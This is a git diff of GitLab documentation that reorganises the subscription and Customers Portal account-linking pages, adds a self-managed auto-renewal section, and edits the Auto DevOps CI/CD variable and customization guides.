--- a/doc/subscriptions/gitlab_com/index.md
+++ b/doc/subscriptions/gitlab_com/index.md
@@ -231,28 +231,15 @@ amounts at which the alert displays.
| 100-999 | 8% of seats have been used. |
| 1000+ | 5% of seats have been used |
-## Change the linked account
-
-To change the GitLab.com account linked to your Customers Portal account:
-
-1. Log in to the
- [Customers Portal](https://customers.gitlab.com/customers/sign_in).
-1. In a separate browser tab, go to [GitLab SaaS](https://gitlab.com/users/sign_in) and ensure you
- are not logged in.
-1. On the Customers Portal page, select **My account > Account details**.
-1. Under **Your GitLab.com account**, select **Change linked account**.
-1. Log in to the [GitLab SaaS](https://gitlab.com/users/sign_in) account you want to link to the Customers Portal
- account.
-
## Change the linked namespace
To change the namespace linked to a subscription:
1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) with a
- [linked](#change-the-linked-account) GitLab SaaS account.
-1. Navigate to the **Manage Purchases** page.
+ [linked](../index.md#change-the-linked-account) GitLab.com account.
+1. Go to the **Manage Purchases** page.
1. Select **Change linked namespace**.
-1. Select the desired group from the **This subscription is for** dropdown. For a group to appear here, you must have the Owner role for that group.
+1. Select the desired group from the **This subscription is for** dropdown list. For a group to appear here, you must have the Owner role for that group.
1. Select **Proceed to checkout**.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
@@ -324,8 +311,7 @@ For details on upgrading your subscription tier, see
### Automatic subscription renewal
When a subscription is set to auto-renew, it renews automatically on the
-expiration date without a gap in available service. Subscriptions purchased through Customers Portal or GitLab.com are set to auto-renew by default. The number of seats is adjusted to fit the [number of billable users in your group](#view-seat-usage) at the time of renewal. You can view and download your renewal invoice on the
-[View invoices](https://customers.gitlab.com/receipts) page. If your account has a [saved credit card](../index.md#change-your-payment-method), the card is charged for the invoice amount. If we are unable to process a payment or the auto-renewal fails for any other reason, you have 14 days to renew your subscription. After that, your access is downgraded.
+expiration date without a gap in available service. Subscriptions purchased through Customers Portal or GitLab.com are set to auto-renew by default. The number of seats is adjusted to fit the [number of billable users in your group](#view-seat-usage) at the time of renewal. You can view and download your renewal invoice on the Customers Portal [View invoices](https://customers.gitlab.com/receipts) page. If your account has a [saved credit card](../index.md#change-your-payment-method), the card is charged for the invoice amount. If we are unable to process a payment or the auto-renewal fails for any other reason, you have 14 days to renew your subscription, after which your access is downgraded.
#### Email notifications
diff --git a/doc/subscriptions/index.md b/doc/subscriptions/index.md
index 98ce40c9e9b..9fec4abe8e7 100644
--- a/doc/subscriptions/index.md
+++ b/doc/subscriptions/index.md
@@ -73,7 +73,7 @@ With the [Customers Portal](https://customers.gitlab.com/) you can:
- [Change account owner information](#change-account-owner-information)
- [Change your company details](#change-your-company-details)
- [Change your payment method](#change-your-payment-method)
-- [Change the linked account](gitlab_com/index.md#change-the-linked-account)
+- [Change the linked account](#change-the-linked-account)
- [Change the namespace the subscription is linked to](gitlab_com/index.md#change-the-linked-namespace)
- [Change customers portal account password](#change-customers-portal-account-password)
@@ -83,8 +83,9 @@ reseller, you must contact them directly for assistance with your subscription.
### Change account owner information
-Account owner personal details are used on invoices. The account owner email
-address is used for the Customers Portal login and license-related email.
+Account owner personal details are used on invoices. The account owner email address is used for the Customers Portal legacy login and license-related email.
+
+If you have registered a Customers Portal account through a GitLab.com account, the GitLab.com account is used for login.
To change account owner information, including name, billing address, and email address:
@@ -95,8 +96,10 @@ To change account owner information, including name, billing address, and email
1. Select **Save changes**.
If you want to transfer ownership of the Customers Portal account
-to another person, after you enter that person's personal details, you must also
-[change the Customers Portal account password](#change-customers-portal-account-password).
+to another person, after you enter that person's personal details, you must also:
+
+- [Change the Customers Portal account password](#change-customers-portal-account-password).
+- [Change the linked GitLab.com account](#change-the-linked-account), if you have one linked.
### Change your company details
@@ -134,6 +137,19 @@ method as the default:
1. **Edit** the selected payment method and check the **Make default payment method** checkbox.
1. Select **Save Changes**.
+### Change the linked account
+
+To change the GitLab.com account linked to your Customers Portal account:
+
+1. Log in to the
+ [Customers Portal](https://customers.gitlab.com/customers/sign_in).
+1. In a separate browser tab, go to [GitLab.com](https://gitlab.com/users/sign_in) and ensure you
+ are not logged in.
+1. On the Customers Portal page, select **My account > Account details**.
+1. Under **Your GitLab.com account**, select **Change linked account**.
+1. Log in to the [GitLab.com](https://gitlab.com/users/sign_in) account you want to link to the Customers Portal
+ account.
+
### Change Customers Portal account password
To change the password for this customers portal account:
diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md
index 93cf5afad63..e5114b092da 100644
--- a/doc/subscriptions/self_managed/index.md
+++ b/doc/subscriptions/self_managed/index.md
@@ -18,6 +18,10 @@ GitLab subscription management requires access to the Customers Portal.
GitLab provides the [Customers Portal](../index.md#customers-portal) where you can
manage your subscriptions and your account details.
+Customers are required to use their GitLab.com account to register for a new Customers Portal account.
+
+If you have a legacy Customers Portal account that is not linked to a GitLab.com account, you may still [sign in](https://customers.gitlab.com/customers/sign_in?legacy=true) using an email and password. However, you should [create](https://gitlab.com/users/sign_up) and [link a GitLab.com account](../index.md#change-the-linked-account) to ensure continued access to the Customers Portal.
+
Customers of resellers do not have access to this portal and should contact their reseller for any
changes to their subscription.
@@ -42,7 +46,7 @@ according to the [maximum number](#maximum-users) of users enabled during the su
For instances that aren't offline or on a closed network, the maximum number of
simultaneous users in the GitLab self-managed installation is checked each quarter.
-If an instance is unable to generate a quarterly usage report, the existing [true-up model](#users-over-license) is used.
+If an instance is unable to generate a quarterly usage report, the existing [true up model](#users-over-license) is used.
Prorated charges are not possible without a quarterly usage report.
### View user totals
@@ -132,34 +136,32 @@ GitLab has several features which can help you manage the number of users:
users manually.
- View a breakdown of users by role in the [Users statistics](../../user/admin_area/index.md#users-statistics) page.
-## Sync your subscription data with GitLab
+## Subscription data synchronization
> Introduced in GitLab 14.1.
-Prerequisites:
-
-- You must be running GitLab Enterprise Edition (EE).
-- You must have GitLab 14.1 or later.
-- Your instance must be connected to the internet, and not be in an offline environment.
+Subscription data can be automatically synchronized between your self-managed instance and GitLab.
+To enable subscription data synchronization you must have:
-To sync subscription data between your self-managed instance and GitLab, you must [activate your instance](../../user/admin_area/license.md) with an
-activation code.
+- GitLab Enterprise Edition (EE), version 14.1 or later.
+- Connection to the internet, and must not have an offline environment.
+- [Activated](../../user/admin_area/license.md) your instance with an activation code.
-After you activate your instance, the following processes are automated:
+When your instance is activated, and data is synchronized, the following processes are automated:
- [Quarterly subscription reconciliation](../quarterly_reconciliation.md).
- Subscription renewals.
- Subscription updates, such as adding more seats or upgrading a GitLab tier.
-At approximately 03:00 UTC, a daily sync job sends subscription data to the Customers Portal. For this reason, updates and renewals may not
-apply immediately.
+At approximately 03:00 UTC, a daily synchronization job sends subscription data to the Customers
+Portal. For this reason, updates and renewals may not apply immediately.
-The data is sent securely through an encrypted HTTPS connection to `customers.gitlab.com` on port `443`.
-If the job fails, it retries up to 12 times over approximately 17 hours.
+The data is sent securely through an encrypted HTTPS connection to `customers.gitlab.com` on port
+`443`. If the job fails, it retries up to 12 times over approximately 17 hours.
-### Subscription data that GitLab receives
+### Subscription data
-The daily sync job sends **only** the following information to the Customers Portal:
+The daily synchronization job sends **only** the following information to the Customers Portal:
- Date
- Timestamp
@@ -224,14 +226,9 @@ Example of a license sync request:
}
```
-### Troubleshoot automatic subscription sync
-
-If the sync job is not working, ensure you allow network traffic from your GitLab instance
-to IP addresses `172.64.146.11:443` and `104.18.41.245:443` (`customers.gitlab.com`).
-
-## Manually sync your subscription details
+### Manually synchronize your subscription details
-You can manually sync your subscription details at any time.
+You can manually synchronize your subscription details at any time.
1. On the top bar, select **Main menu > Admin**.
1. On the left sidebar, select **Subscription**.
@@ -305,11 +302,10 @@ NOTES:
## Renew your subscription
-You can renew your subscription starting from 15 days before your subscription expires.
+You can renew your subscription starting from 15 days before your subscription expires. To renew your subscription:
-To renew your subscription,
-[prepare for renewal by reviewing your account](#prepare-for-renewal-by-reviewing-your-account),
-then [renew your GitLab self-managed subscription](#renew-a-subscription).
+1. [Prepare for renewal by reviewing your account.](#prepare-for-renewal-by-reviewing-your-account)
+1. [Renew your GitLab self-managed subscription.](#renew-subscription-manually)
### Prepare for renewal by reviewing your account
@@ -375,12 +371,11 @@ your instance immediately. If you're using a license file, you receive an update
To add the seats, [add the license file](../../user/admin_area/license_file.md)
to your instance.
-### Renew a subscription
+### Renew subscription manually
Starting 30 days before a subscription expires, a banner with the expiry date displays for administrators in the GitLab user interface.
-You can renew your subscription starting from 15 days before your subscription expires.
-We recommend following these steps during renewal:
+You should follow these steps during renewal:
1. Prior to the renewal date, prune any inactive or unwanted users by [blocking them](../../user/admin_area/moderate_users.md#block-a-user).
1. Determine if you have a need for user growth in the upcoming subscription.
@@ -399,6 +394,38 @@ You can hover your mouse on the **Renew** button to see the date when it will be
An invoice is generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance.
+### Automatic subscription renewal
+
+When a subscription is set to auto-renew, it renews automatically on the
+expiration date without a gap in available service. Subscriptions purchased through Customers Portal are set to auto-renew by default.
+The number of user licenses is adjusted to fit the [number of billable users in your instance](#view-user-totals) at the time of renewal.
+Before auto-renewal you should [prepare for the renewal](#prepare-for-renewal-by-reviewing-your-account). To auto-renew your subscription,
+you must have enabled the [synchronization of subscription data](#subscription-data-synchronization).
+
+You can view and download your renewal invoice on the Customers Portal
+[View invoices](https://customers.gitlab.com/receipts) page. If your account has a [saved credit card](../index.md#change-your-payment-method), the card is charged for the invoice amount. If we are unable to process a payment or the auto-renewal fails for any other reason, you have 14 days to renew your subscription, after which your GitLab tier is downgraded.
+
+#### Email notifications
+
+15 days before a subscription automatically renews, an email is sent with information about the renewal.
+
+- If your credit card is expired, the email tells you how to update it.
+- If you have any outstanding overages or subscription isn't able to auto-renew for any other reason, the email tells you to contact our Sales team or [renew in Customers Portal](#renew-subscription-manually).
+- If there are no issues, the email specifies the names and quantity of the products being renewed. The email also includes the total amount you owe. If your usage increases or decreases before renewal, this amount can change.
+
+#### Enable or disable automatic subscription renewal
+
+To view or change automatic subscription renewal (at the same tier as the
+previous period), sign in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in), and:
+
+- If a **Resume subscription** button is displayed, your subscription was canceled
+ previously. Select it to resume automatic renewal.
+- If a **Cancel subscription** button is displayed, your subscription is set to automatically
+ renew at the end of the subscription period. Select it to cancel automatic renewal.
+
+If you have difficulty during the renewal process, contact the
+[Support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance.
+
## Upgrade your subscription tier
To upgrade your [GitLab tier](https://about.gitlab.com/pricing/):
@@ -463,6 +490,11 @@ and for communicating directly with the relevant GitLab team members.
## Troubleshooting
+### Subscription data fails to synchronize
+
+If the synchronization job is not working, ensure you allow network traffic from your GitLab
+instance to IP addresses `172.64.146.11:443` and `104.18.41.245:443` (`customers.gitlab.com`).
+
### Credit card declined
If your credit card is declined when purchasing a GitLab subscription, possible reasons include:
diff --git a/doc/topics/authentication/index.md b/doc/topics/authentication/index.md
index 763e16bc31d..77a83b10df9 100644
--- a/doc/topics/authentication/index.md
+++ b/doc/topics/authentication/index.md
@@ -17,7 +17,7 @@ This page gathers all the resources for the topic **Authentication** within GitL
- [Support for Universal 2nd Factor Authentication - YubiKeys](https://about.gitlab.com/blog/2016/06/22/gitlab-adds-support-for-u2f/)
- [Security Webcast with Yubico](https://about.gitlab.com/blog/2016/08/31/gitlab-and-yubico-security-webcast/)
- **Integrations:**
- - [GitLab as OAuth2 authentication service provider](../../integration/oauth_provider.md#introduction-to-oauth)
+ - [GitLab as OAuth2 authentication service provider](../../integration/oauth_provider.md)
- [GitLab as OpenID Connect identity provider](../../integration/openid_connect_provider.md)
## GitLab administrators
diff --git a/doc/topics/autodevops/cicd_variables.md b/doc/topics/autodevops/cicd_variables.md
index db2b052784d..169d34aad77 100644
--- a/doc/topics/autodevops/cicd_variables.md
+++ b/doc/topics/autodevops/cicd_variables.md
@@ -22,7 +22,7 @@ Use these variables to customize and deploy your build.
| `AUTO_DEVOPS_ATOMIC_RELEASE` | As of GitLab 13.0, Auto DevOps uses [`--atomic`](https://v2.helm.sh/docs/helm/#options-43) for Helm deployments by default. Set this variable to `false` to disable the use of `--atomic` |
| `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED` | Set to `false` to use Herokuish instead of Cloud Native Buildpacks with Auto Build. [More details](stages.md#auto-build-using-cloud-native-buildpacks). |
| `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER` | The builder used when building with Cloud Native Buildpacks. The default builder is `heroku/buildpacks:18`. [More details](stages.md#auto-build-using-cloud-native-buildpacks). |
-| `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Using quotes doesn't prevent word splitting. [More details](customize.md#passing-arguments-to-docker-build). |
+| `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Using quotes doesn't prevent word splitting. [More details](customize.md#pass-arguments-to-docker-build). |
| `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` | A [comma-separated list of CI/CD variable names](customize.md#forward-cicd-variables-to-the-build-environment) to be forwarded to the build environment (the buildpack builder or `docker build`). |
| `AUTO_DEVOPS_BUILD_IMAGE_CNB_PORT` | In GitLab 15.0 and later, port exposed by the generated Docker image. Set to `false` to prevent exposing any ports. Defaults to `5000`. |
| `AUTO_DEVOPS_CHART` | Helm Chart used to deploy your apps. Defaults to the one [provided by GitLab](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app). |
@@ -42,9 +42,9 @@ Use these variables to customize and deploy your build.
| `CI_APPLICATION_REPOSITORY` | The repository of container image being built or deployed, `$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG`. For more details, read [Custom container image](customize.md#custom-container-image). |
| `CI_APPLICATION_TAG` | The tag of the container image being built or deployed, `$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG`. For more details, read [Custom container image](customize.md#custom-container-image). |
| `DAST_AUTO_DEPLOY_IMAGE_VERSION` | Customize the image version used for DAST deployments on the default branch. Should usually be the same as `AUTO_DEPLOY_IMAGE_VERSION`. See [list of versions](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/releases). |
-| `DOCKERFILE_PATH` | From GitLab 13.2, allows overriding the [default Dockerfile path for the build stage](customize.md#custom-dockerfile) |
-| `HELM_RELEASE_NAME` | From GitLab 12.1, allows the `helm` release name to be overridden. Can be used to assign unique release names when deploying multiple projects to a single namespace. |
-| `HELM_UPGRADE_VALUES_FILE` | From GitLab 12.6, allows the `helm upgrade` values file to be overridden. Defaults to `.gitlab/auto-deploy-values.yaml`. |
+| `DOCKERFILE_PATH` | From GitLab 13.2, allows overriding the [default Dockerfile path for the build stage](customize.md#custom-dockerfiles) |
+| `HELM_RELEASE_NAME` | Allows the `helm` release name to be overridden. Can be used to assign unique release names when deploying multiple projects to a single namespace. |
+| `HELM_UPGRADE_VALUES_FILE` | Allows the `helm upgrade` values file to be overridden. Defaults to `.gitlab/auto-deploy-values.yaml`. |
| `HELM_UPGRADE_EXTRA_ARGS` | Allows extra options in `helm upgrade` commands when deploying the application. Using quotes doesn't prevent word splitting. |
| `INCREMENTAL_ROLLOUT_MODE` | If present, can be used to enable an [incremental rollout](#incremental-rollout-to-production) of your application for the production environment. Set to `manual` for manual deployment jobs or `timed` for automatic rollout deployments with a 5 minute delay each one. |
| `K8S_SECRET_*` | Any variable prefixed with [`K8S_SECRET_`](#configure-application-secret-variables) is made available by Auto DevOps as environment variables to the deployed application. |
@@ -53,27 +53,31 @@ Use these variables to customize and deploy your build.
| `KUBE_NAMESPACE` | The namespace used for deployments. When using certificate-based clusters, [this value should not be overwritten directly](../../user/project/clusters/deploy_to_cluster.md#custom-namespace). |
| `KUBECONFIG` | The kubeconfig to use for deployments. User-provided values take priority over GitLab-provided values. |
| `PRODUCTION_REPLICAS` | Number of replicas to deploy in the production environment. Takes precedence over `REPLICAS` and defaults to 1. For zero downtime upgrades, set to 2 or greater. |
-| `REPLICAS` | Number of replicas to deploy. Defaults to 1. Change this variable instead of [modifying](customize.md#customize-values-for-helm-chart) `replicaCount`. |
+| `REPLICAS` | Number of replicas to deploy. Defaults to 1. Change this variable instead of [modifying](customize.md#customize-helm-chart-values) `replicaCount`. |
| `ROLLOUT_RESOURCE_TYPE` | Allows specification of the resource type being deployed when using a custom Helm chart. Default value is `deployment`. |
-| `ROLLOUT_STATUS_DISABLED` | From GitLab 12.0, used to disable rollout status check because it does not support all resource types, for example, `cronjob`. |
+| `ROLLOUT_STATUS_DISABLED` | Used to disable rollout status check because it does not support all resource types, for example, `cronjob`. |
| `STAGING_ENABLED` | Used to define a [deploy policy for staging and production environments](#deploy-policy-for-staging-and-production-environments). |
| `TRACE` | Set to any value to make Helm commands produce verbose output. You can use this setting to help diagnose Auto DevOps deployment problems. |
## Database variables
+WARNING:
+The default value of `true` for `POSTGRES_ENABLED` was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387766)
+in GitLab 15.8. In [GitLab 16.0](https://gitlab.com/gitlab-org/gitlab/-/issues/343988), the default value will change to `false`.
+
Use these variables to integrate CI/CD with PostgreSQL databases.
| **CI/CD variable** | **Description** |
|-----------------------------------------|------------------------------------|
| `DB_INITIALIZE` | Used to specify the command to run to initialize the application's PostgreSQL database. Runs inside the application pod. |
| `DB_MIGRATE` | Used to specify the command to run to migrate the application's PostgreSQL database. Runs inside the application pod. |
-| `POSTGRES_ENABLED` | Whether PostgreSQL is enabled. Defaults to `true`. Set to `false` to disable the automatic deployment of PostgreSQL. |
+| `POSTGRES_ENABLED` | Whether PostgreSQL is enabled. Defaults to `true` until GitLab 16.0, when the default will change to `false`. Set to `false` to disable the automatic deployment of PostgreSQL. |
| `POSTGRES_USER` | The PostgreSQL user. Defaults to `user`. Set it to use a custom username. |
| `POSTGRES_PASSWORD` | The PostgreSQL password. Defaults to `testing-password`. Set it to use a custom password. |
| `POSTGRES_DB` | The PostgreSQL database name. Defaults to the value of [`$CI_ENVIRONMENT_SLUG`](../../ci/variables/index.md#predefined-cicd-variables). Set it to use a custom database name. |
| `POSTGRES_VERSION` | Tag for the [`postgres` Docker image](https://hub.docker.com/_/postgres) to use. Defaults to `9.6.16` for tests and deployments as of GitLab 13.0 (previously `9.6.2`). If `AUTO_DEVOPS_POSTGRES_CHANNEL` is set to `1`, deployments uses the default version `9.6.2`. |
| `POSTGRES_HELM_UPGRADE_VALUES_FILE` | In GitLab 13.8 and later, and when using [auto-deploy-image v2](upgrading_auto_deploy_dependencies.md), this variable allows the `helm upgrade` values file for PostgreSQL to be overridden. Defaults to `.gitlab/auto-deploy-postgres-values.yaml`. |
-| `POSTGRES_HELM_UPGRADE_EXTRA_ARGS` | In GitLab 13.8 and later, and when using [auto-deploy-image v2](upgrading_auto_deploy_dependencies.md), this variable allows extra PostgreSQL options in `helm upgrade` commands when deploying the application. Note that using quotes doesn't prevent word splitting. |
+| `POSTGRES_HELM_UPGRADE_EXTRA_ARGS` | In GitLab 13.8 and later, and when using [auto-deploy-image v2](upgrading_auto_deploy_dependencies.md), this variable allows extra PostgreSQL options in `helm upgrade` commands when deploying the application. Using quotes doesn't prevent word splitting. |
| `POSTGRES_CHART_REPOSITORY` | Helm Chart repository used to search for PostgreSQL chart. Defaults to `https://raw.githubusercontent.com/bitnami/charts/eb5f9a9513d987b519f0ecd732e7031241c50328/bitnami`. |
| `POSTGRES_CHART_VERSION` | Helm Chart version used for PostgreSQL chart. Defaults to `8.2.1`. |
@@ -134,6 +138,10 @@ Auto DevOps detects CI/CD variables starting with `K8S_SECRET_`,
and makes them available to the deployed application as
environment variables.
+Prerequisite:
+
+- The variable value must be a single line.
+
To configure secret variables:
1. On the top bar, select **Main menu > Projects** and find your project.
@@ -190,7 +198,7 @@ limitations with the Auto DevOps scripting environment.
Add replica variables when you want to scale your deployments:
-1. Add a replica variable as a [project CI/CD variable](../../ci/variables/index.md#add-a-cicd-variable-to-a-project).
+1. Add a replica variable as a [project CI/CD variable](../../ci/variables/index.md#for-a-project).
1. To scale your application, redeploy it.
WARNING:
@@ -290,7 +298,7 @@ You can run the rollout jobs in any order. To scale down, rerun a
lower percentage job.
After you run the `rollout 100%` job, you cannot scale down, and must
-[rollback your deployment](../../ci/environments/index.md#retry-or-roll-back-a-deployment).
+[roll back your deployment](../../ci/environments/index.md#retry-or-roll-back-a-deployment).
### Example incremental rollout configurations
@@ -310,9 +318,6 @@ With `INCREMENTAL_ROLLOUT_MODE` set to `manual` and with `STAGING_ENABLED`:
![Rollout and staging enabled](img/rollout_staging_enabled.png)
-WARNING:
-This configuration is deprecated, and is scheduled to be removed in the future.
-
## Timed incremental rollout to production **(PREMIUM)**
Use a timed incremental rollout to continuously deploy your application, starting with
diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md
index c42f5825b6a..776112d6303 100644
--- a/doc/topics/autodevops/customize.md
+++ b/doc/topics/autodevops/customize.md
@@ -4,23 +4,46 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Customizing Auto DevOps **(FREE)**
+# Customize Auto DevOps **(FREE)**
-While [Auto DevOps](index.md) provides great defaults to get you started, you can customize
-almost everything to fit your needs. Auto DevOps offers everything from custom
-[buildpacks](#custom-buildpacks), to [Dockerfiles](#custom-dockerfile), and
-[Helm charts](#custom-helm-chart). You can even copy the complete
-[CI/CD configuration](#customizing-gitlab-ciyml) into your project to enable
-staging and canary deployments,
-[manage Auto DevOps with GitLab APIs](customize.md#extend-auto-devops-with-the-api), and more.
+You can customize components of Auto DevOps to fit your needs. For example, you can:
+
+- Add custom [buildpacks](#custom-buildpacks), [Dockerfiles](#custom-dockerfiles), and [Helm charts](#custom-helm-chart).
+- Enable staging and canary deployments with a custom [CI/CD configuration](#customize-gitlab-ciyml).
+- Extend Auto DevOps with the [GitLab API](#extend-auto-devops-with-the-api).
+
+## Auto DevOps banner
+
+When Auto DevOps is not enabled, a banner displays for users with at
+least the Maintainer role:
+
+![Auto DevOps banner](img/autodevops_banner_v12_6.png)
+
+The banner can be disabled for:
+
+- A user, when they dismiss it themselves.
+- A project, by explicitly [disabling Auto DevOps](index.md#enable-or-disable-auto-devops).
+- An entire GitLab instance:
+ - By an administrator running the following in a Rails console:
+
+ ```ruby
+ Feature.enable(:auto_devops_banner_disabled)
+ ```
+
+ - Through the REST API with an administrator access token:
+
+ ```shell
+ curl --data "value=true" --header "PRIVATE-TOKEN: <personal_access_token>" "https://gitlab.example.com/api/v4/features/auto_devops_banner_disabled"
+ ```
## Custom buildpacks
-If the automatic buildpack detection fails for your project, or if you
-need more control over your build, you can customize the buildpacks
-used for the build.
+You can customize your buildpacks when either:
-### Custom buildpacks with Cloud Native Buildpacks
+- The automatic buildpack detection fails for your project.
+- You need more control over your build.
+
+### Customize buildpacks with Cloud Native Buildpacks
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28165) in GitLab 12.10.
@@ -29,17 +52,18 @@ Specify either:
- The CI/CD variable `BUILDPACK_URL` with any of [`pack`'s URI specification formats](https://buildpacks.io/docs/app-developer-guide/specify-buildpacks/).
- A [`project.toml` project descriptor](https://buildpacks.io/docs/app-developer-guide/using-project-descriptor/) with the buildpacks you would like to include.
-### Custom buildpacks with Herokuish
+### Customize buildpacks with Herokuish
Specify either:
- The CI/CD variable `BUILDPACK_URL`.
-- A `.buildpacks` file at the root of your project, containing one buildpack URL per line.
+- A `.buildpacks` file at the root of your project that contains one buildpack URL per line.
The buildpack URL can point to either a Git repository URL or a tarball URL.
-For Git repositories, you can point to a specific Git reference (such as
-commit SHA, tag name, or branch name) by appending `#<ref>` to the Git repository URL.
-For example:
+
+For Git repositories, you can point to a specific Git reference by
+appending `#<ref>` to the Git repository URL. For example, you can
+reference:
- The tag `v142`: `https://github.com/heroku/heroku-buildpack-ruby.git#v142`.
- The branch `mybranch`: `https://github.com/heroku/heroku-buildpack-ruby.git#mybranch`.
@@ -47,35 +71,38 @@ For example:
### Multiple buildpacks
-Using multiple buildpacks is not fully supported by Auto DevOps, because Auto Test
-can't use the `.buildpacks` file. The buildpack
-[heroku-buildpack-multi](https://github.com/heroku/heroku-buildpack-multi/), used
-in the backend to parse the `.buildpacks` file, does not provide the necessary commands
-`bin/test-compile` and `bin/test`.
+Because Auto Test cannot use the `.buildpacks` file, Auto DevOps does
+not support multiple buildpacks. The buildpack
+[heroku-buildpack-multi](https://github.com/heroku/heroku-buildpack-multi/),
+used in the backend to parse the `.buildpacks` file, does not provide
+the necessary commands `bin/test-compile` and `bin/test`.
-If your goal is to use only a single custom buildpack, you should provide the project CI/CD variable
+To use only a single custom buildpack, you should provide the project CI/CD variable
`BUILDPACK_URL` instead.
-## Custom `Dockerfile`
+## Custom Dockerfiles
-> Support for `DOCKERFILE_PATH` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35662) in GitLab 13.2
+> `DOCKERFILE_PATH` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35662) in GitLab 13.2.
-If your project has a `Dockerfile` in the root of the project repository, Auto DevOps
-builds a Docker image based on the Dockerfile, rather than using buildpacks.
-This can be much faster and result in smaller images, especially if your
-Dockerfile is based on [Alpine](https://hub.docker.com/_/alpine/).
+If you have a Dockerfile in the root of your project repository, Auto
+DevOps builds a Docker image based on the Dockerfile. This can be
+faster than using a buildpack. It can also result in smaller images,
+especially if your Dockerfile is based on
+[Alpine](https://hub.docker.com/_/alpine/).
If you set the `DOCKERFILE_PATH` CI/CD variable, Auto Build looks for a Dockerfile there
instead.
-## Passing arguments to `docker build`
+### Pass arguments to `docker build`
+
+You can pass arguments to `docker build` with the
+`AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` project CI/CD variable.
-Arguments can be passed to the `docker build` command using the
-`AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` project CI/CD variable. For example, to build a
-Docker image based on based on the `ruby:alpine` instead of the default `ruby:latest`:
+For example, to build a Docker image based on based on the
+`ruby:alpine` instead of the default `ruby:latest`:
1. Set `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` to `--build-arg=RUBY_VERSION=alpine`.
-1. Add the following to a custom `Dockerfile`:
+1. Add the following to a custom Dockerfile:
```dockerfile
ARG RUBY_VERSION=latest
@@ -84,14 +111,12 @@ Docker image based on based on the `ruby:alpine` instead of the default `ruby:la
# ... put your stuff here
```
-Use Base64 encoding if you need to pass complex values, such as newlines and
-spaces. Left unencoded, complex values like these can cause escaping issues
-due to how Auto DevOps uses the arguments.
+To pass complex values like spaces and newlines, use Base64 encoding.
+Complex, unencoded values can cause issues with character escaping.
WARNING:
-Avoid passing secrets as Docker build arguments if possible, as they may be
-persisted in your image. See
-[this discussion of best practices with secrets](https://github.com/moby/moby/issues/13490) for details.
+Do not pass secrets as Docker build arguments. Secrets might persist in your image. For more information, see
+[this discussion of best practices with secrets](https://github.com/moby/moby/issues/13490).
## Custom container image
@@ -104,12 +129,12 @@ You can override this behavior by defining specific variables:
| Image Tag | `$CI_COMMIT_SHA` for branch pipelines. `$CI_COMMIT_TAG` for tag pipelines. | `$CI_APPLICATION_TAG` |
These variables also affect Auto Build and Auto Container Scanning. If you don't want to build and push an image to
-`$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG`, consider
-including only `Jobs/Deploy.gitlab-ci.yml`, or [disabling the `build` jobs](cicd_variables.md#job-disabling-variables).
+`$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG`, include only `Jobs/Deploy.gitlab-ci.yml`, or
+[disable the `build` jobs](cicd_variables.md#job-disabling-variables).
If you use Auto Container Scanning and set a value for `$CI_APPLICATION_REPOSITORY`, then you should
-also update `$CS_DEFAULT_BRANCH_IMAGE`. See [Setting the default branch image](../../user/application_security/container_scanning/index.md#setting-the-default-branch-image)
-for more details.
+also update `$CS_DEFAULT_BRANCH_IMAGE`. For more information, see
+[Setting the default branch image](../../user/application_security/container_scanning/index.md#setting-the-default-branch-image).
Here is an example setup in your `.gitlab-ci.yml`:
@@ -123,141 +148,129 @@ variables:
You can extend and manage your Auto DevOps configuration with GitLab APIs:
-- [Settings that can be accessed with API calls](../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls),
+- [Use API calls to access settings](../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls),
which include `auto_devops_enabled`, to enable Auto DevOps on projects by default.
-- [Creating a new project](../../api/projects.md#create-project).
-- [Editing groups](../../api/groups.md#update-group).
-- [Editing projects](../../api/projects.md#edit-project).
+- [Create a new project](../../api/projects.md#create-project).
+- [Edit groups](../../api/groups.md#update-group).
+- [Edit projects](../../api/projects.md#edit-project).
## Forward CI/CD variables to the build environment
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25514) in GitLab 12.3, but available in GitLab 12.0 and later.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25514) in GitLab 12.3.
-CI/CD variables can be forwarded into the build environment using the
-`AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` CI/CD variable.
-The forwarded variables should be specified by name in a comma-separated
-list. For example, to forward the variables `CI_COMMIT_SHA` and
-`CI_ENVIRONMENT_NAME`, set `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES`
-to `CI_COMMIT_SHA,CI_ENVIRONMENT_NAME`.
